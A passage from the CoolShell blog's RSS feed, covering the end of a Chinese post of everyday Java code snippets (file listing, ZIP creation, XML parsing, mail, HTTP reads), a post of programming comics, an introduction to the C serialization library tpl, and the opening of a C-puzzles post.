</p>\n<p><strong>14. 列出文件和目录</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nFile dir = new File(&quot;directoryName&quot;);  \n  String[] children = dir.list();  \n  if (children == null) {  \n      // Either dir does not exist or is not a directory  \n  } else {  \n      for (int i=0; i &lt; children.length; i++) {  \n          // Get filename of file or directory  \n          String filename = children[i];  \n      }  \n  }  \n \n  // It is also possible to filter the list of returned files.  \n  // This example does not return any files that start with `.&#039;.  \n  FilenameFilter filter = new FilenameFilter() {  \n      public boolean accept(File dir, String name) {  \n          return !name.startsWith(&quot;.&quot;);  \n      }  \n  };  \n  children = dir.list(filter);  \n \n  // The list of files can also be retrieved as File objects  \n  File[] files = dir.listFiles();  \n \n  // This filter only returns directories  \n  FileFilter fileFilter = new FileFilter() {  \n      public boolean accept(File file) {  \n          return file.isDirectory();  \n      }  \n  };  \n  files = dir.listFiles(fileFilter); \n</pre>\n<p><strong>15. 创建ZIP和JAR文件<br />\n</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nimport java.util.zip.*;  \nimport java.io.*;  \n \npublic class ZipIt {  \n    public static void main(String args[]) throws IOException {  \n        if (args.length &lt; 2) {  \n            System.err.println(&quot;usage: java ZipIt Zip.zip file1 file2 file3&quot;);  \n            System.exit(-1);  \n        }  \n        File zipFile = new File(args[0]);  \n        if (zipFile.exists()) {  \n            System.err.println(&quot;Zip file already exists, please try another&quot;);  \n            System.exit(-2);  \n        }  \n        FileOutputStream fos = new FileOutputStream(zipFile);  \n        ZipOutputStream zos = new ZipOutputStream(fos);  \n        int bytesRead;  \n        byte[] buffer = new byte[1024];  \n        CRC32 crc = new CRC32();  \n        for (int i=1, n=args.length; i &lt; n; i++) {  \n            String name = args[i];  \n            File file = new File(name);  \n            if (!file.exists()) {  \n                System.err.println(&quot;Skipping: &quot; + name);  \n                continue;  \n            }  \n            BufferedInputStream bis = new BufferedInputStream(  \n                new FileInputStream(file));  \n            crc.reset();  \n            while ((bytesRead = bis.read(buffer)) != -1) {  \n                crc.update(buffer, 0, bytesRead);  \n            }  \n            bis.close();  \n            // Reset to beginning of input stream  \n            bis = new BufferedInputStream(  \n                new FileInputStream(file));  \n            ZipEntry entry = new ZipEntry(name);  \n            entry.setMethod(ZipEntry.STORED);  \n            entry.setCompressedSize(file.length());  \n            entry.setSize(file.length());  \n            entry.setCrc(crc.getValue());  \n            zos.putNextEntry(entry);  \n            while ((bytesRead = bis.read(buffer)) != -1) {  \n                zos.write(buffer, 0, bytesRead);  \n            }  \n            bis.close();  \n        }  \n        zos.close();  \n    }  \n} \n</pre>\n<p><strong>16. 解析/读取XML 文件</strong></p>\n<p>XML文件<br />\n </p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;?xml version=&quot;1.0&quot;?&gt; \n&lt;students&gt; \n    &lt;student&gt; \n        &lt;name&gt;John&lt;/name&gt; \n        &lt;grade&gt;B&lt;/grade&gt; \n        &lt;age&gt;12&lt;/age&gt; \n    &lt;/student&gt; \n    &lt;student&gt; \n        &lt;name&gt;Mary&lt;/name&gt; \n        &lt;grade&gt;A&lt;/grade&gt; \n        &lt;age&gt;11&lt;/age&gt; \n    &lt;/student&gt; \n    &lt;student&gt; \n        &lt;name&gt;Simon&lt;/name&gt; \n        &lt;grade&gt;A&lt;/grade&gt; \n        &lt;age&gt;18&lt;/age&gt; \n    &lt;/student&gt; \n&lt;/students&gt; \n</pre>\n<p>Java代码</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \npackage net.viralpatel.java.xmlparser;  \n \nimport java.io.File;  \nimport javax.xml.parsers.DocumentBuilder;  \nimport javax.xml.parsers.DocumentBuilderFactory;  \n \nimport org.w3c.dom.Document;  \nimport org.w3c.dom.Element;  \nimport org.w3c.dom.Node;  \nimport org.w3c.dom.NodeList;  \n \npublic class XMLParser {  \n \n    public void getAllUserNames(String fileName) {  \n        try {  \n            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();  \n            DocumentBuilder db = dbf.newDocumentBuilder();  \n            File file = new File(fileName);  \n            if (file.exists()) {  \n                Document doc = db.parse(file);  \n                Element docEle = doc.getDocumentElement();  \n \n                // Print root element of the document  \n                System.out.println(&quot;Root element of the document: &quot; \n                        + docEle.getNodeName());  \n \n                NodeList studentList = docEle.getElementsByTagName(&quot;student&quot;);  \n \n                // Print total student elements in document  \n                System.out  \n                        .println(&quot;Total students: &quot; + studentList.getLength());  \n \n                if (studentList != null &amp;&amp; studentList.getLength() &gt; 0) {  \n                    for (int i = 0; i &lt; studentList.getLength(); i++) {  \n \n                        Node node = studentList.item(i);  \n \n                        if (node.getNodeType() == Node.ELEMENT_NODE) {  \n \n                            System.out  \n                                    .println(&quot;=====================&quot;);  \n \n                            Element e = (Element) node;  \n                            NodeList nodeList = e.getElementsByTagName(&quot;name&quot;);  \n                            System.out.println(&quot;Name: &quot; \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n \n                            nodeList = e.getElementsByTagName(&quot;grade&quot;);  \n                            System.out.println(&quot;Grade: &quot; \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n \n                            nodeList = e.getElementsByTagName(&quot;age&quot;);  \n                            System.out.println(&quot;Age: &quot; \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n                        }  \n                    }  \n                } else {  \n                    System.exit(1);  \n                }  \n            }  \n        } catch (Exception e) {  \n            System.out.println(e);  \n        }  \n    }  \n    public static void main(String[] args) {  \n \n        XMLParser parser = new XMLParser();  \n        parser.getAllUserNames(&quot;c:\\\\test.xml&quot;);  \n    }  \n} \n</pre>\n<p><strong>17. 把 Array 转换成 Map </strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nimport java.util.Map;  \nimport org.apache.commons.lang.ArrayUtils;  \n \npublic class Main {  \n \n  public static void main(String[] args) {  \n    String[][] countries = { { &quot;United States&quot;, &quot;New York&quot; }, { &quot;United Kingdom&quot;, &quot;London&quot; },  \n        { &quot;Netherland&quot;, &quot;Amsterdam&quot; }, { &quot;Japan&quot;, &quot;Tokyo&quot; }, { &quot;France&quot;, &quot;Paris&quot; } };  \n \n    Map countryCapitals = ArrayUtils.toMap(countries);  \n \n    System.out.println(&quot;Capital of Japan is &quot; + countryCapitals.get(&quot;Japan&quot;));  \n    System.out.println(&quot;Capital of France is &quot; + countryCapitals.get(&quot;France&quot;));  \n  }  \n} \n</pre>\n<p><strong>18. 发送邮件</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nimport javax.mail.*;  \nimport javax.mail.internet.*;  \nimport java.util.*;  \n \npublic void postMail( String recipients[ ], String subject, String message , String from) throws MessagingException  \n{  \n    boolean debug = false;  \n \n     //Set the host smtp address  \n     Properties props = new Properties();  \n     props.put(&quot;mail.smtp.host&quot;, &quot;smtp.example.com&quot;);  \n \n    // create some properties and get the default Session  \n    Session session = Session.getDefaultInstance(props, null);  \n    session.setDebug(debug);  \n \n    // create a message  \n    Message msg = new MimeMessage(session);  \n \n    // set the from and to address  \n    InternetAddress addressFrom = new InternetAddress(from);  \n    msg.setFrom(addressFrom);  \n \n    InternetAddress[] addressTo = new InternetAddress[recipients.length];  \n    for (int i = 0; i &lt; recipients.length; i++)  \n    {  \n        addressTo[i] = new InternetAddress(recipients[i]);  \n    }  \n    msg.setRecipients(Message.RecipientType.TO, addressTo);  \n \n    // Optional : You can also set your custom headers in the Email if you Want  \n    msg.addHeader(&quot;MyHeaderName&quot;, &quot;myHeaderValue&quot;);  \n \n    // Setting the Subject and Content Type  \n    msg.setSubject(subject);  \n    msg.setContent(message, &quot;text/plain&quot;);  \n    Transport.send(msg);  \n} \n</pre>\n<p><strong>19. 发送代数据的HTTP 请求</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nimport java.io.BufferedReader;  \nimport java.io.InputStreamReader;  \nimport java.net.URL;  \n \npublic class Main {  \n    public static void main(String[] args)  {  \n        try {  \n            URL my_url = new URL(&quot;https://coolshell.cn/&quot;);  \n            BufferedReader br = new BufferedReader(new InputStreamReader(my_url.openStream()));  \n            String strTemp = &quot;&quot;;  \n            while(null != (strTemp = br.readLine())){  \n            System.out.println(strTemp);  \n        }  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }  \n    }  \n}\n</pre>\n<p><strong>20. 改变数组的大小</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \n/** \n* Reallocates an array with a new size, and copies the contents \n* of the old array to the new array. \n* @param oldArray  the old array, to be reallocated. \n* @param newSize   the new array size. \n* @return          A new array with the same contents. \n*/ \nprivate static Object resizeArray (Object oldArray, int newSize) {  \n   int oldSize = java.lang.reflect.Array.getLength(oldArray);  \n   Class elementType = oldArray.getClass().getComponentType();  \n   Object newArray = java.lang.reflect.Array.newInstance(  \n         elementType,newSize);  \n   int preserveLength = Math.min(oldSize,newSize);  \n   if (preserveLength &gt; 0)  \n      System.arraycopy (oldArray,0,newArray,0,preserveLength);  \n   return newArray;  \n}  \n \n// Test routine for resizeArray().  \npublic static void main (String[] args) {  \n   int[] a = {1,2,3};  \n   a = (int[])resizeArray(a,5);  \n   a[3] = 4;  \n   a[4] = 5;  \n   for (int i=0; i&lt;a.length; i++)  \n      System.out.println (a[i]);  \n}\n</pre>\n<p><strong>(全文完)</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/889.html\">20非常有用的Java程序片段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/889.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>几个有意思的漫画</title>\n\t\t<link>https://coolshell.cn/articles/880.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/880.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 21 May 2009 15:07:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=880</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>软件Bug和软件Feature的差别 注释：有时候bug和feature的差别就是bug长得难看了一些。   一个理解流程图的指南 什么叫极限编程 注释，对话翻...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/880.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/880.html\">几个有意思的漫画</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h4>软件Bug和软件Feature的差别</h4>\n<p>注释：有时候bug和feature的差别就是bug长得难看了一些。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-882\" title=\"bug-feature\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature-300x225.jpg\" alt=\"bug-feature\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/05/bug-feature-768x576.jpg 768w, https://coolshell.cn/wp-content/uploads/2009/05/bug-feature-360x270.jpg 360w, https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<p><span id=\"more-880\"></span></p>\n<p> </p>\n<h4>一个理解流程图的指南</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/flow_charts.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-884\" title=\"flow_charts\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/flow_charts.png\" alt=\"flow_charts\" width=\"740\" height=\"534\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/flow_charts.png 740w, https://coolshell.cn/wp-content/uploads/2009/05/flow_charts-300x216.png 300w\" sizes=\"(max-width: 740px) 100vw, 740px\" /></a></p>\n<h4>什么叫极限编程</h4>\n<p>注释，对话翻译——</p>\n<p>1）程序员：我不能在第一个版本给你所有的的功能。<br />\n2）程序员：并且，每个功能需要有一个所谓的“用户案例（User Story）”<br />\n3）用户：好吧，我告诉你一个“用户案例”——我要所有的功能，不然我就毁了你的生活。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/extreme-programming.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-883\" title=\"extreme-programming\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/extreme-programming.gif\" alt=\"extreme-programming\" width=\"600\" height=\"212\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/extreme-programming.gif 600w, https://coolshell.cn/wp-content/uploads/2009/05/extreme-programming-300x106.gif 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg\"></a></p>\n<h4>如何衡量好的代码</h4>\n<p>注释：下图中用“代码审核”流程中的每分钟出现“脏话”的个数来衡量代码的质量。（WTF is stand for “What the F**K”）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/measurement-of-code-quality.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-881\" title=\"measurement-of-code-quality\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/measurement-of-code-quality.jpg\" alt=\"measurement-of-code-quality\" width=\"500\" height=\"471\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/measurement-of-code-quality.jpg 500w, https://coolshell.cn/wp-content/uploads/2009/05/measurement-of-code-quality-300x282.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" alt=\"主流文本编辑器学习曲线\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_title\">主流文本编辑器学习曲线</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li><li ><a href=\"https://coolshell.cn/articles/7048.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/11_154056_1-300x225-1-150x150.jpg\" alt=\"挑战无处不在\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7048.html\" class=\"wp_rp_title\">挑战无处不在</a></li><li ><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_1-150x150.png\" alt=\"再谈javascript面向对象编程 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_title\">再谈javascript面向对象编程 </a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li><li ><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Android将允许纯C/C++开发应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_title\">Android将允许纯C/C++开发应用</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/880.html\">几个有意思的漫画</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/880.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个C的序列化库tpl</title>\n\t\t<link>https://coolshell.cn/articles/878.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/878.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 21 May 2009 14:54:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[tpl]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=878</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>tpl(http://tpl.sourceforge.net/)是一个开源的小项目，其主要是提供一个可以序列化或反序列化C语言数据的一个API函数库。tpl号称...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/878.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/878.html\">一个C的序列化库tpl</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>tpl(<a href=\"http://tpl.sourceforge.net/\">http://tpl.sourceforge.net/</a>)是一个开源的小项目，其主要是提供一个可以序列化或反序列化C语言数据的一个API函数库。tpl号称是最有效率的也是最快的，它可以把你内存中的数据存放到文件中，并可以在你需要的时候用文件中反序例化到内存变量中。而且这个函数库没有依赖于别的函数库。</p>\n<p>下面是一个简单的示例（来源于其主页）</p>\n<p>把一个数组（“序号”和“人名”）序例化到文件中。</p>\n<p><span id=\"more-878\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &quot;tpl.h&quot;\n\nint main(int argc, char *argv[]) {\n    tpl_node *tn;\n    int id=0;\n    char *name, *names[] = { &quot;joe&quot;, &quot;bob&quot;, &quot;cary&quot; };\n\n    tn = tpl_map(&quot;A(is)&quot;, &amp;id, &amp;name);\n\n    for(name=names[0]; id &lt; 3; name=names[++id]) {\n        tpl_pack(tn,1);\n    }\n\n    tpl_dump(tn, TPL_FILE, &quot;users.tpl&quot;);\n    tpl_free(tn);\n}\n</pre>\n<p>把上面那个序列化到文件的“序号”和“人名”反序列化回来。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &quot;tpl.h&quot;\n\nint main(int argc, char *argv[]) {\n    tpl_node *tn;\n    int id;\n    char *name;\n\n    tn = tpl_map(&quot;A(is)&quot;, &amp;id, &amp;name);\n    tpl_load(tn, TPL_FILE, &quot;users.tpl&quot;);\n\n    while ( tpl_unpack(tn,1) &gt; 0 ) {\n        printf(&quot;id %d, user %s\\n&quot;, id, name);\n        free(name);\n    }\n    tpl_free(tn);\n}\n</pre>\n<p>更详细的使用说明请看其文档：<br />\n<a href=\"http://tpl.sourceforge.net/userguide.html\">http://tpl.sourceforge.net/userguide.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/878.html\">一个C的序列化库tpl</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/878.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>谁说C语言很简单？</title>\n\t\t<link>https://coolshell.cn/articles/873.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/873.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 19 May 2009 14:10:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=873</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前两天，Neo写了一篇《语言的歧义》其使用C语言讨论了一些语言的歧义。大家应该也顺便了解了一下C语言中的很多不可思异的东西，可能也是你从未注意到的东西。 是的，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/873.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/873.html\">谁说C语言很简单？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p class=\"li-enumerate\">前两天，Neo写了一篇《<a href=\"https://coolshell.cn/articles/830.html\">语言的歧义</a>》其使用C语言讨论了一些语言的歧义。大家应该也顺便了解了一下C语言中的很多不可思异的东西，可能也是你从未注意到的东西。</p>\n<p class=\"li-enumerate\">是的，C语言并不简单，让我们来看看下面这些示例：</p>\n<ol class=\"enumerate\" type=\"1\">\n<li class=\"li-enumerate\"><strong>为什么下面的代码会返回0？(这题应该很简单吧)<br />\n</strong></p>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">  int x;\n  return x == (1 &amp;&amp; x);\n</span></pre>\n<p>本题主要是关于C/C++中变量初始化的问题。</li>\n<p><span 